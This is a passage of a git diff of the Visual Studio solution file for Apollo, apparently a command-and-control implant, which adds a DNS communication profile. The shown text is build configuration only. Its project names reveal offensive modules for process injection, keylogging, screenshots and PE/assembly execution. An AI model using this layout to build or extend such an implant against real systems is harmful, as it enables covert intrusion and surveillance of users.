diff --git a/Payload_Type/apollo/agent_code/Apollo.sln b/Payload_Type/apollo/agent_code/Apollo.sln index d588eb5b..402ae00f 100644 --- a/Payload_Type/apollo/agent_code/Apollo.sln +++ b/Payload_Type/apollo/agent_code/Apollo.sln @@ -1,247 +1,261 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.30413.136 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|Any CPU - {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|Any CPU - {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|Any CPU - {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|Any CPU - {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|Any CPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|Any CPU - {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|Any CPU - {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|Any CPU - {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|Any CPU - {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|Any CPU - {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|Any CPU - {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|Any CPU - {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|Any CPU - {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|Any CPU - {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|Any CPU - {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|Any CPU - {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76} - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DnsProfile", "DnsProfile\DnsProfile.csproj", "{2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any 